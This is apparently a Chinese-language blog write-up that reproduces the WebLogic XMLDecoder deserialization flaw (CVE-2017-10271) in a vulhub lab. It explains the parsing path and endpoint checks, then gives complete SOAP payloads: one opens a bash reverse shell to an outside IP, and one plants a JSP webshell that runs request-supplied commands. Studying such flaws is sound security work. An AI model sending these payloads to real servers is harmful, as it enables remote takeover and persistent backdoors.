WebLogic XMLDecoder反序列化漏洞
前言
上篇复现了T3反序列化漏洞,XMLDecoder反序列化在WebLogic中也是一类影响很大的反序化漏洞。
XMLDecoder概述
XMLDecoder是JDK自带的以SAX方式解析xml的类,实现java对象和xml文件之间的转化。其中序列化过程是将java对象转换成xml文件,反序列化就是把特定格式的xml文件转换成java对象。
XMLDecoder基于SAX解析,从头到尾逐行逐个元素读取内容,拿到节点、属性、值之后通过Expression创建对象及调用方法。
XMLDecoder反序列化漏洞
我们可以先构造一个特殊的xml文件,让XMLDecoder去解析一下:
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"/>
</object>
</java>

使用XMLDecoder去反序列化xml数据,可以看到数据中包含的命令会被执行,弹了个计算器。反序列化后的执行代码类似于new ProcessBuilder(cmd).start();这样。
所以我们试着在ProcessBuilder的start方法打个断点,大致看一下调用栈的流程(java 1.8.0_221):

首先直接去到XMLDocumentFragmentScannerImpl类的scanDocument方法,其中会通过循环迭代的方式解析,解析逻辑在next方法里面,next方法会逐行的去解析xml。

其具体的解析方式依赖于DocumentHandler类,在DocumentHandler构造函数中为不同的标签定义了不同的handler,每个handler都以key-value的形式存储,每个标签可以通过节点名称来获取对应的handler。

其中会调用回调方法进行相应事件处理,比如startElement和endElement会在每当遇到起始或终止标签时调用。在startElement方法中首先解析java标签,从构造方法中HashMap取出对应的值,然后设置Owner和Parent。

之后去解析下一个object标签,拿到属性之后通过addAttribute设置属性。

其中调用了父类的addAttribute方法。

然后通过反射的方式生成了java.lang.ProcessBuilderClass对象。

赋值完之后跳出循环进入this.handler.startElement就这样依次解析下面的标签。解析完所有的开始标签之后,进入到endElement开始解析闭合标签。

然后调用ElementHandler类的getValueObject获取标签内的value值。

经过多次的handler的getValueObject调用,标签都闭合之后,最终去调用ObjectElementhandler的getValueObject方法。

最终得到的var3的值为java.lang.ProcessBuilder,var4的值为start,再通过Expression的var5的getValue方法反射调用start触发命令执行。
其实最后相当于最后拼接了这样一个表达式:
new java.lang.ProcessBuilder(new String[]{"calc"}).start();
水平有限这里只是大概走了个流程,详细过程可参考:https://www.cnblogs.com/LittleHann/p/17814641.html
总之,XMLDecoder导致漏洞的原因就是在于这些handler处理节点的时候,对外部输入的XML指定节点类型信息没有做限制,同时在进行节点实例化的时候允许节点属性由XML任意控制,最终再由Java反射特性实现了代码执行。
WebLogic XMLDecoder反序列化漏洞的原因在于,Weblogic的WLS Security组件对外提供webservice服务,其中就使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,最终导致可执行任意命令。
如果对WebLogic XMLDecoder反序列化更深入的了解的话,可以IDEA远程调试Weblogic,根据复现爆出的调用栈进行跟踪调试。
可参考这篇文章:https://shu1l.github.io/2021/02/09/weblogic-xmldecoder-fan-xu-lie-hua-lou-dong-xue-xi/#动态调试
有关WebLogic的XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,差异主要在于出问题的包、黑名单过滤的标签。
漏洞复现
这里用vulhub靶场的CVE-2017-10271漏洞环境进行复现XMLDecoder反序列化漏洞远程命令执行。
影响版本:Weblogic < 10.3.6
环境搭建:
cd ./vulhub/weblogic/CVE-2017-10271
docker compose up -d
访问这些目录手动检测:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
浏览器访问/wls-wsat/CoordinatorPortType路径,出现下图就说明大可能存在漏洞:

使用Burp拦截请求页面,请求方法改为POST,添加如下header字段,其中Content-Length为Payload的长度:
Content-Type: text/xml
Content-Length: 640

POST的Payload如下:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.88.150/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
简单解释一下Payload的构造原理:
开头和末尾的几个标签主要是SOAP的协议规范,java标签中的是恶意的XML数据。XMLDecoder对象包含一个rocessBuilder对象用来构建一个指定命令的进程,执行一个反弹shell的命令。
整个XML反序列化后相当于执行代码:
String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "bash -i >& /dev/tcp/192.168.88.150/8888 0>&1";
new ProcessBuilder(cmd).start();
监听本机的8888端口收到shell:

POST如下Payload可以写入webshell:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bbb.jsp</string>
<void method="println"><string>
<![CDATA[
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope
执行命令:

从整个XMLDecoder反序列化漏洞的来看(CVE-2017-3506 -> CVE-2017-10271 -> CVE-2019-2725 -> CVE-2019-2729),漏洞原理都是相似,主要是针对黑名单修补丁的绕过。
参考文章:
https://www.cnblogs.com/LittleHann/p/17814641.html
https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
https://zhuanlan.zhihu.com/p/108754274
若有错误,欢迎指正!o( ̄▽ ̄)ブ
WebLogic XMLDecoder反序列化漏洞的更多相关文章
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)
目录 四. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...
- WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) -----by ba ...
- 【研究】Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)
影响范围: Oracle WebLogic Server 10.3.6.0.0版本 Oracle WebLogic Server 12.1.3.0.0版本 Oracle WebLogic Server ...
- java反序列化——XMLDecoder反序列化漏洞
本文首发于“合天智汇”公众号 作者:Fortheone 前言 最近学习java反序列化学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDeco ...
- CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
- CVE-2020-14644 weblogic iiop反序列化漏洞
0x00 weblogic 受影响版本 Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 0x01 环境准备 1.安装weblogic ...
- JAVA反序列化漏洞复现
目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...
- java 反序列化漏洞检测及修复
Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...
- Java安全之初探weblogic T3协议漏洞
Java安全之初探weblogic T3协议漏洞 文章首发自安全客:Java安全之初探weblogic T3协议漏洞 0x00 前言 在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞 ...
随机推荐
- Linux 常见编辑器
命令行编辑器 Vim Linux 上最出名的编辑器当属 Vim 了.Vim 由 Vi 发展而来,Vim 的名字意指 Vi IMproved,表示 Vi 的升级版.Vim 对于新手来说使用比较复杂,不过 ...
- elastersearch7.6.1搭建及基本操作详解
搭建 修改系统参数 vim /etc/security/limits.conf * soft nofile 655350 * hard nofile 655350 * soft nofile 6553 ...
- 在.NET后端开发的十年之旅:反思与总结
开局 依稀记得那是2014年11月大四上学期,学校已经没有课了.看着同寝室的其他室友都出去实习了,而我一个人还坐在电脑前发呆.因为的不敢出去面试. 由于小学时牙齿有一颗龅牙,从小就产生了 ...
- SVG Video 声音图标灰色,无法点击
原因:Video里的视频放的是录屏,怪不得声音图标是灰色的 换成正常有声音的mp4文件,声音图标就正常了
- three.js添加3d模型
three官方的几何体也就那么几个,想要生成各种各样的模型,其难度十分之大,这时引入外部模型也不失为一种选择.具体引入办法如下. 导入依赖 点击查看代码 import * as THREE from ...
- SNERT内部集训-WEB
SNERT内部集训-WEB Day1-2 文件上传 靶场搭建 docker安装,docker pull c0ny1/upload-labs,docker run -it -d -p 8080:80 a ...
- ARM汇编: B、BL 与R14(LR)、R15(PC)
1. b与bl指令的作用是什么? b与bl指令的作用:实现程序跳转,也就是调用子程序. 2. b与bl指令的区别是什么? b与bl指令的区别: b指令:简单的程序跳转,跳转到到目标标号处执行. bl指 ...
- P9118 [春季测试 2023] 幂次
二诊前愉快的一次测试,关键是还有奶茶喝 第二题,本来直接暴力去重枚举可以的六十分的,但是.......花了30分钟优化剪纸,优化空间后,惨变35分. [春季测试 2023] 幂次 题目描述 小 Ω 在 ...
- 树形结构数据 数组对象 按照 sort 字段排序
export function sortTreeData (data, flag) { let arr = [] if (flag === 1) { arr = data[0].children } ...
- webgl和canvas的区别
webgl和canvas的区别 WebGL和Canvas的主要区别在于它们的渲染方式.功能复杂性.以及编程难度.12 渲染方式:Canvas使用2D渲染上下文来绘制图形和图像,基于像素的绘图系统, ...